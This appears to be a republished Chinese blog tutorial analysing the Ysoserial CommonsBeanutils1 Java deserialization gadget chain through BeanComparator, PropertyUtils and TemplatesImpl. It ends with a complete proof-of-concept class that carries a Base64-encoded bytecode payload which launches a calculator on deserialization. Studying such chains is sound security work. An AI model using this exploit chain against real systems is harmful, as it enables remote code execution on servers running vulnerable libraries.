服务粉丝

我们一直在努力
当前位置:首页 > 财经 >

JAVA安全|Gadget篇:Ysoserial CB1链

日期: 来源:沃克学安全收集编辑:walker1995
0x00  前言
    JAVA安全系列文章主要为了回顾之前学过的java知识,构建自己的java知识体系,并实际地将java用起来,达到熟练掌握java编程,并能用java编写工具的目的。此系列文章需要读者具备一定java基础,不定时更新。相关详情可通过我的公众号文章进行查看:
JAVA安全|即将开启:java安全系列文章
    Gadget篇主要是分析一些经典常见的反序列化链,基本来自于Ysoserial工具。与网上大部分分析反序列化链文章的不同点在于我会尽可能地从如何发现链子的角度来讲解,参考的资料主要为B站白日梦组长的视频以及P牛的JAVA安全漫谈系列文章。

    本文为JAVA安全系列文章第十九篇,学习Ysoserial中的CB1链,重点在于认识javaBean并理解掌握CB1链的调用逻辑。

0x01  Apache Commons Beanutils

一、什么是javaBean?

我们在刚开始学JAVA SE基础时候,每当我们写一个类时,属性一般是private,通过public的getXXX方法(getter)来获取属性的值(读方法),setXXX方法(setter)为属性赋值(写方法),这样的类就称为Bean。

官方定义是:必须具有无参数的构造器,所有的属性都是private的,通过提供setter和getter方法来实现对成员属性的访问。

详细的可以参考这篇文章:https://www.liaoxuefeng.com/wiki/1252599548343744/1260474416351680

二、 Commons Beanutils

Apache  Commons Beanutils是 Apache Commons 工具集下的另一个项目,是一个用于操作JAVA bean的工具包。里面提供了各种各样的工具类,让我们可以很方便的对bean对象的属性进行各种操作。

通过Maven仓库我们知道,Commons Beanutils除了1.9.4版本外,其他版本均为漏洞版本:

关于commons-beanutils的使用主要是熟悉commons-beanutils库里面MethodUtils、ConstructorUtils、PropertyUtils、BeanUtils、ConvertUtils的使用。

具体使用可以参考这篇文章:https://www.jianshu.com/p/27c0ea663d83

0x02  Ysoserial CB1链

一、环境准备

看Ysoserial的源码,可以知道CB1链用到的依赖是commons-beanutils=1.9.2,我们新建一个Maven项目,将其导入。导入完成后,我们可以看到除了commons-beanutils包外还有commons-collections 3.2.1和commons-logging 1.1.1两个包,也即commons-beanutils本身是依赖于这两个包的:

二、调用逻辑分析
1.PropertyUtils.getProperty()

commons-beanutils中的PropertyUtils类提供了一个静态方法getProperty ,让使用者可以直接调用任意JavaBean的getter方法。比如,我们写一个Person类:

再写一个测试类BeanTest,运行:

可以看到,准确输出了name和age。这是怎么做到的呢?

通过调试发现,该方法的调用过程是这样的:PropertyUtils#getProperty()-->PropertyUtilsBean#getProperty()-->PropertyUtilsBean#getNestedProperty()-->PropertyUtilsBean#getSimpleProperty()

其中,在PropertyUtilsBean#getNestedProperty()中:

会先通过while循环获取嵌套属性,比如a对象中有属性b,b对象中有属性c,就可以通过 PropertyUtils.getProperty(a, "b.c") 的方式进行递归获取。由于此处我们我们传入的属性不是嵌套的,且为自己写的Person,故而进入到getSimpleProperty():

由于此处bean不为DynaBean,故而通过getPropertyDescriptor()方法获取属性描述:

此处获取到age的读写方法名,最后获取到读方法(getter)的方法对象,通过反射调用并返回值:

简而言之,PropertyUtils.getProperty()这个方法就是通过反射调用任意对象的getter,获得对应属性的值,此处的属性可以是嵌套的。

那么,此处调用任意对象的getter方法,会有什么危害么?

2.getter妙用

前面在学习动态字节码加载时,我们提到过Templates加载任意字节码的调用链:

TemplatesImpl.TransletClassLoader#defineClass()<--TemplatesImpl#defineTransletClasses()<--TemplatesImpl#getTransletInstance()<--TemplatesImpl#newTransformer()<--TemplatesImpl.getOutputProperties()

此处的getOutputProperties()不正符合getter的定义么?

如果我们在PropertyUtils#getProperty(Object bean,String name)方法中传入bean为TemplatesImpl对象,name为outputProperties,这不就可以构成一条Gadget 的后半段了么?那么我们就要去找,谁可以调用到PropertyUtils#getProperty():

仅找到commons-beanutils包中的四个类,其中仅BeanComparator实现了Serializable接口!!!

3.BeanComparator

我们来看下这个类:

它实现了java.util.Comparator接口,用来比较两个javaBean是否相等。它的compare()方法传入两个对象,若property 为空,则直接比较这两个对象;若property 不为空,则通过PropertyUtils.getProperty()分别获取这两个对象的property 属性,比较属性的值。

很明显我们只要传入o1,o2为我们构造的TemplatesImpl对象,property为"outputProperties"就能触发代码了。

4.反序列化入口?

还记得在CC2和CC4链的反序列化入口PriorityQueue(优先队列)么?

它是基于二叉堆实现,在它反序列化时,为了保证队列顺序,会进行重排序的操作,而排序就涉及到大小比较,进而执行 java.util.Comparator 接口的 compare() 方法。那么我们只要构造一个BeanComparator传进去,就可以触发代码,弹计算器了。

三、POC编写

首先,我们还是先构造一个恶意TemplatesImpl对象,再创建一个BeanComparator对象,创建时使用无参构造器,防止后面PriorityQueue在add时触发PropertyUtils.getProperty():

BeanComparator comparator = new BeanComparator();

实例化PriorityQueue,将刚才创建的BeanComparator对象传入进去,先add两个人畜无害的对象:

PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);

再通过反射修改comparator中的property为"outputProperties",queue中的两个对象为构造的TemplatesImpl对象:

setFieldValue(comparator,"property","outputProperties");
setFieldValue(queue,"queue",new Object[]{templates,templates});

完整代码如下:

public class CB1 {
   public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
       byte[] code = Base64.getDecoder().decode("yv66vgAAADQAKQoACQAYCgAZABoIABsKABkAHAcAHQcAHgoABgAfBwAgBwAhAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHACIBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAGPGluaXQ+AQADKClWAQANU3RhY2tNYXBUYWJsZQcAIAcAHQEAClNvdXJjZUZpbGUBAApDYWxjMS5qYXZhDAARABIHACMMACQAJQEABGNhbGMMACYAJwEAE2phdmEvbGFuZy9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwAEQAoAQAFQ2FsYzEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgAhAAgACQAAAAAAAwABAAoACwACAAwAAAAZAAAAAwAAAAGxAAAAAQANAAAABgABAAAACAAOAAAABAABAA8AAQAKABAAAgAMAAAAGQAAAAQAAAABsQAAAAEADQAAAAYAAQAAAAoADgAAAAQAAQAPAAEAEQASAAEADAAAAGUAAwACAAAAGyq3AAG4AAISA7YABFenAA1MuwAGWSu3AAe/sQABAAQADQAQAAUAAgANAAAAGgAGAAAADAAEAA4ADQARABAADwARABAAGgASABMAAAAQAAL/ABAAAQcAFAABBwAVCQABABYAAAACABc=");
       TemplatesImpl templates = new TemplatesImpl();
       setFieldValue(templates, "_name", "xxx");
       setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
       setFieldValue(templates, "_bytecodes", new byte[][]{code});

       //先传入property为空,防止add时触发PropertyUtils.getProperty()
       BeanComparator comparator = new BeanComparator();

       PriorityQueue queue = new PriorityQueue(2, comparator);
       queue.add(1);
       queue.add(2);

       setFieldValue(comparator,"property","outputProperties");
       setFieldValue(queue,"queue",new Object[]{templates,templates});

       ByteArrayOutputStream bos = new ByteArrayOutputStream();
       ObjectOutputStream oos = new ObjectOutputStream(bos);
       oos.writeObject(queue);
       oos.close();

       ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));
       ois.readObject();
  }

   public static void setFieldValue(Object obj, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
       Class<?> clazz = obj.getClass();
       Field fieldName = clazz.getDeclaredField(field);
       fieldName.setAccessible(true);
       fieldName.set(obj, value);
  }
}

相比于ysoserial里的CommonsBeanutils1链:

这里去掉了对 java.math.BigInteger的使用,因为ysoserial为了兼容 property=lowestSetBit :

public class BigInteger extends Number implements Comparable<BigInteger> {  
private int lowestSetBit;

public int getLowestSetBit() {
       @SuppressWarnings("deprecation")
       int lsb = lowestSetBit - 2;
      ...
       return lsb;
}
}

但实际上我们将 property 设置为null即可。

0x03  总结

一、CB1链调用逻辑

1.PriorityQueue(优先队列)基于二叉堆实现,在它反序列化时,为了保证队列顺序,会执行 java.util.Comparator 接口的 compare() 方法进行重排序,此时我们传入Comparator为org.apache.commons.beanutils.BeanComparator.BeanComparator;

2.BeanComparator是一个比较两个javaBean对象的Comparator,它的compare()方法中若property 不为空,则通过org.apache.commons.beanutils.PropertyUtils.getProperty()分别获取两个对象的property 属性,再比较属性的值;

3.PropertyUtils.getProperty()就是通过反射调用任意对象的getter,而当这个对象为一个包含恶意字节码的TemplatesImpl对象,且调用的getter方法为getOutputProperties()时,就会触发代码执行。

二、关于PropertyUtils

细心的读者会发现PropertyUtils这个关键的类是不可序列化,但为什么不影响反序列化执行代码呢?因为序列化针对的是对象,而CB1链中我们并不需要一个PropertyUtils对象来触发呀,只是调用其静态方法getProperty(),我们要做的只是构造好优先队列中的Comparator(BeanComparator)以及进行比较的两个恶意TemplatesImpl对象即可。


Ysoserial中的CB链仅有CB1这一条,但我们通常会在Shiro的利用工具中,看到好几条CB链,其他CB链又是怎么回事呢?

欲知后事如何,且听下回分解~


参考:

p神《JAVA安全漫谈》


Java安全系列文集

第0篇:JAVA安全|即将开启:java安全系列文章

第1篇:JAVA安全|基础篇:认识java反序列化

第2篇:JAVA安全|基础篇:实战java原生反序列化

第3篇:JAVA安全|基础篇:反射机制之快速入门

第4篇:JAVA安全|基础篇:反射机制之Class类

第5篇:JAVA安全|基础篇:反射机制之类加载

第6篇:JAVA安全|基础篇:反射机制之常见ReflectionAPI使用

第7篇:JAVA安全|Gadget篇:URLDNS链

第8篇:JAVA安全|Gadget篇:TransformedMap CC1链

第9篇:JAVA安全|基础篇:反射的应用—动态代理

第10篇:JAVA安全|Gadget篇:LazyMap CC1链

第11篇:JAVA安全|Gadget篇:无JDK版本限制的CC6链

第12篇:JAVA安全|基础篇:动态字节码加载(一)

第13篇:JAVA安全|基础篇:动态字节码加载(二)

第14篇:JAVA安全|Gadget篇:CC3链及其通杀改造

第15篇:JAVA安全|Gadget篇:CC依赖下为shiro反序列化利用而生的CCK1 CC11链

第16篇:JAVA安全|Gadget篇:CC5 CC7链

第17篇:JAVA安全|Gadget篇:CC2  CC4链—Commons-Collections4.0下的特有链

第18篇:JAVA安全|Gadget篇:CC8 CC9链


如果喜欢小编的文章,记得多多转发,点赞+关注支持一下哦~,您的点赞和支持是我最大的动力~

相关阅读

  • JAVA安全|Gadget篇:JDK原生链—JDK7u21

  • 本文为JAVA安全系列文章第二十一篇。在没有合适的第三方库存在时,我们仍然有两条原生链可以利用—JDK7u21和JDK8u20。本文学习JDK7u21这条原生链。0x01 JDK7u21链的核心原理
  • JAVA安全|字节码篇:字节码操作库—javassist

  • 0x00 前言 原本打算把这部分内容放到基础篇章的,但随着我的学习,发现这一部分内容其实并不基础,于是又单独开了字节码篇章。这一篇章的主要内容为Javassist、ASM这两个字节
  • 对学校系统开展的一次完整渗透

  • 声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。请勿利用文章内的相关技术从事非法测试
  • Spring环境下有关内存马的回显总结

  • 0x01 前言在学习各种内存马的过程中,关注到了观星实验室的一篇文章,较为全面的列举了在Spring环境下的有关内存马的实现技巧这里我们深入进行学习学习一下0x02 正文前景回顾网
  • 详解 Java 泛型,写得太好了!

  • -正文泛型—— 一种可以接收数据类型的数据类型,本文将通俗讲解Java泛型的优点、方法及相关细节。一、泛型的引入我们都知道,继承是面向对象的三大特性之一,比如在我们向集合中
  • 一文深入理解 Java 的四种引用类型

  • 这是 JsonChao 的第 318 期分享前言Java Reference 类型是与虚拟机垃圾回收机制密切相关的知识点,同时也是面试重要考点之一。一般认为 Java 有四种 Reference(强引用 & 软引

热门文章

  • “复活”半年后 京东拍拍二手杀入公益事业

  • 京东拍拍二手“复活”半年后,杀入公益事业,试图让企业捐的赠品、家庭闲置品变成实实在在的“爱心”。 把“闲置品”变爱心 6月12日,“益心一益·守护梦想每一步”2018年四

最新文章

  • JAVA安全|Gadget篇:Ysoserial CB1链

  • 0x00 前言 JAVA安全系列文章主要为了回顾之前学过的java知识,构建自己的java知识体系,并实际地将java用起来,达到熟练掌握java编程,并能用java编写工具的目的。此系列文章需
  • JAVA安全|Gadget篇:JDK原生链—JDK7u21

  • 本文为JAVA安全系列文章第二十一篇。在没有合适的第三方库存在时,我们仍然有两条原生链可以利用—JDK7u21和JDK8u20。本文学习JDK7u21这条原生链。0x01 JDK7u21链的核心原理
  • JAVA安全|字节码篇:字节码操作库—javassist

  • 0x00 前言 原本打算把这部分内容放到基础篇章的,但随着我的学习,发现这一部分内容其实并不基础,于是又单独开了字节码篇章。这一篇章的主要内容为Javassist、ASM这两个字节
  • 对学校系统开展的一次完整渗透

  • 声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。请勿利用文章内的相关技术从事非法测试
  • 实战 | 记一次挖矿应急响应案例

  • 声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。请勿利用文章内的相关技术从事非法测试